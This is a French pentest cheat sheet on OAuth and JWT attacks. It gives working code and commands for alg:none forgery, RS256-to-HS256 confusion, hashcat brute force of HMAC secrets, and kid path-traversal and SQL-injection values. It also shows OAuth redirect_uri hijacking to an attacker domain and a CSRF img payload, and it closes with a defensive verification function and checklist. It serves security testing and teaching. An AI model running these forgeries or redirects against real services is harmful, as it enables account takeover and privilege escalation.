---
title: "OAuth & JWT Attacks — Token Forgery, Algorithm Confusion"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [jwt, oauth, token-forgery, algorithm-confusion, burpsuite, authentication, pentest]
difficulty: advanced
status: stable
updated: "2026-05-14"
---
## Anatomie d'un JWT

```
Header.Payload.Signature

Header  (base64url) : {"alg":"HS256","typ":"JWT"}
Payload (base64url) : {"sub":"user_123","role":"user","exp":1716649200}
Signature           : HMACSHA256(base64url(header)+"."+base64url(payload), secret)

Exemple token :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzEyMyIsInJvbGUiOiJ1c2VyIn0.SIGNATURE
```

```bash
# Décoder un JWT (sans vérifier la signature)
echo "{{JWT_TOKEN}}" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# jwt_tool — outil complet pour tester les JWTs
pip3 install jwt_tool
jwt_tool {{JWT_TOKEN}}          # décoder + infos
jwt_tool {{JWT_TOKEN}} -T       # tamper — modifier les claims
jwt_tool {{JWT_TOKEN}} -C -d /usr/share/wordlists/rockyou.txt  # brute force secret
```

---

## Attaque 1 — alg:none

```python
# Si le serveur accepte alg:none → signature ignorée → forger n'importe quel claim

import base64, json

def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Modifier le header : alg → "none"
header  = b64url(json.dumps({"alg": "none", "typ": "JWT"}).encode())
# Modifier le payload : changer le rôle ou l'ID
payload = b64url(json.dumps({"sub": "admin", "role": "admin", "exp": 9999999999}).encode())
# Signature vide
forged_token = f"{header}.{payload}."

print(forged_token)
```

```bash
# jwt_tool — test alg:none automatique
jwt_tool {{JWT_TOKEN}} -X a

# Variantes à tester : "none", "None", "NONE", "nOnE"
# Certains serveurs font une comparaison insensible à la casse
```

---

## Attaque 2 — Algorithm Confusion RS256 → HS256

```
Principe :
  - Serveur vérifie en RS256 (clé privée signe, clé publique vérifie)
  - Attaquant change l'alg en HS256
  - Serveur vérifie alors HMAC avec la clé publique comme secret
  - La clé publique est souvent disponible (endpoint /jwks.json, certificat TLS)

Étapes :
  1. Récupérer la clé publique RSA du serveur
  2. Forger un token HS256 signé avec la clé publique comme secret HMAC
  3. Soumettre → si le serveur ne vérifie pas l'alg attendu → token accepté
```

```bash
# Récupérer la clé publique
curl https://{{TARGET}}/.well-known/jwks.json
curl https://{{TARGET}}/api/auth/keys
# Ou extraire du certificat TLS
openssl s_client -connect {{TARGET}}:443 2>/dev/null | openssl x509 -pubkey -noout > pubkey.pem

# Forger le token HS256 avec jwt_tool
jwt_tool {{JWT_TOKEN}} -X k -pk pubkey.pem

# Manuel avec python-jwt
python3 << 'EOF'
import jwt

with open('pubkey.pem', 'rb') as f:
    public_key = f.read()

payload = {"sub": "admin", "role": "admin", "exp": 9999999999}
forged = jwt.encode(payload, public_key, algorithm="HS256")
print(forged)
EOF
```

---

## Attaque 3 — Brute Force du secret HS256

```bash
# hashcat — brute force secret HMAC-SHA256
# Format : header.payload → signature
echo -n "{{JWT_TOKEN}}" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# jwt_tool — brute force intégré
jwt_tool {{JWT_TOKEN}} -C -d /usr/share/wordlists/rockyou.txt

# Secrets communs à tester manuellement
python3 << 'EOF'
import jwt
common_secrets = ["secret", "password", "jwt_secret", "your-256-bit-secret",
                  "supersecret", "mysecretkey", "{{APP_NAME}}", "admin"]
token = "{{JWT_TOKEN}}"
for s in common_secrets:
    try:
        decoded = jwt.decode(token, s, algorithms=["HS256"])
        print(f"[FOUND] Secret: {s}")
        print(decoded)
        break
    except:
        pass
EOF
```

---

## Attaque 4 — JWK Header Injection

```
Si le serveur accepte un JWK embarqué dans le header du token lui-même :
→ Injecter sa propre clé publique RSA dans le header
→ Signer le token avec la clé privée correspondante
→ Le serveur vérifie avec "notre" clé publique embarquée → accepté
```

```bash
# jwt_tool — JWK injection automatique
jwt_tool {{JWT_TOKEN}} -X i

# kid (Key ID) injection :
# Si le header contient kid: "path/to/key"
# Tenter : kid: "../../dev/null" (secret = contenu de /dev/null = vide)
# Ou kid: "0 UNION SELECT 'secret'--" (si kid est utilisé dans une requête SQL)
jwt_tool {{JWT_TOKEN}} -I -hc kid -hv "../../dev/null"
```

---

## OAuth — Attaques sur les flux

### Open Redirect → Vole le code d'autorisation

```bash
# Si le redirect_uri n'est pas strictement validé
# URL OAuth normale :
# https://{{OAUTH_SERVER}}/authorize?
#   client_id={{CLIENT_ID}}&redirect_uri=https://{{APP}}/callback&response_type=code

# Attaque : redirect_uri → domaine contrôlé par l'attaquant
# https://{{OAUTH_SERVER}}/authorize?
#   client_id={{CLIENT_ID}}&
#   redirect_uri=https://{{ATTACKER_DOMAIN}}/callback&
#   response_type=code

# Bypass courants :
# redirect_uri=https://{{ALLOWED_DOMAIN}}.{{ATTACKER_DOMAIN}}/
# redirect_uri=https://{{ALLOWED_DOMAIN}}/../../{{ATTACKER_PATH}}
# redirect_uri=https://{{ATTACKER_DOMAIN}}%23{{ALLOWED_DOMAIN}}
```

### CSRF sur le flux OAuth

```html
<!-- Intercepter le code d'autorisation en cours de flux
     Si state parameter absent ou non vérifié → CSRF OAuth -->
<img src="https://{{OAUTH_SERVER}}/authorize?
  client_id={{CLIENT_ID}}&
  redirect_uri=https://{{APP}}/callback&
  response_type=code&
  state=CSRF_TOKEN_STOLEN" width="0">

<!-- Forcer la victime à lier son compte OAuth à notre compte attaquant -->
```

### Leakage du access_token via Referer

```
Si l'access_token est dans l'URL (response_type=token)
ET la page fait des requêtes vers des ressources tierces
→ L'access_token apparaît dans le header Referer des requêtes tierces
```

---

## Défense JWT

```python
# Python (PyJWT) — vérification stricte
import jwt

EXPECTED_ALGORITHM = "RS256"      # Whitelist d'algorithmes acceptés
PUBLIC_KEY = open("public_key.pem").read()

def verify_token(token: str) -> dict:
    try:
        payload = jwt.decode(
            token,
            PUBLIC_KEY,
            algorithms=[EXPECTED_ALGORITHM],   # Jamais ["RS256", "HS256"] ensemble
            options={
                "verify_exp": True,
                "verify_aud": True,
                "require": ["exp", "iat", "sub"]
            },
            audience="{{APP_AUDIENCE}}"
        )
        return payload
    except jwt.exceptions.InvalidTokenError as e:
        raise AuthenticationError(str(e))
```

```
Checklist JWT :
  ✓ Whitelist d'algorithmes explicite (jamais "any" ou liste mixte RS+HS)
  ✓ Ne jamais faire confiance à l'alg du token lui-même pour choisir la méthode
  ✓ Valider exp, iat, aud à chaque requête
  ✓ Secret HS256 > 32 bytes aléatoires (pas un mot de passe)
  ✓ Ne pas stocker de données sensibles dans le payload (il est lisible sans signature)
  ✓ Implémenter une liste de révocation pour les tokens critiques
```

<Warning>
La confusion d'algorithme RS256→HS256 est une vulnérabilité critique souvent présente dans les implémentations custom. Les librairies JWT récentes (PyJWT 2.x, java-jwt 4.x, jsonwebtoken 9.x) la corrigent, mais les apps héritées ou les vérifications manuelles restent vulnérables si l'algorithme n'est pas vérifié explicitement côté serveur.
</Warning>
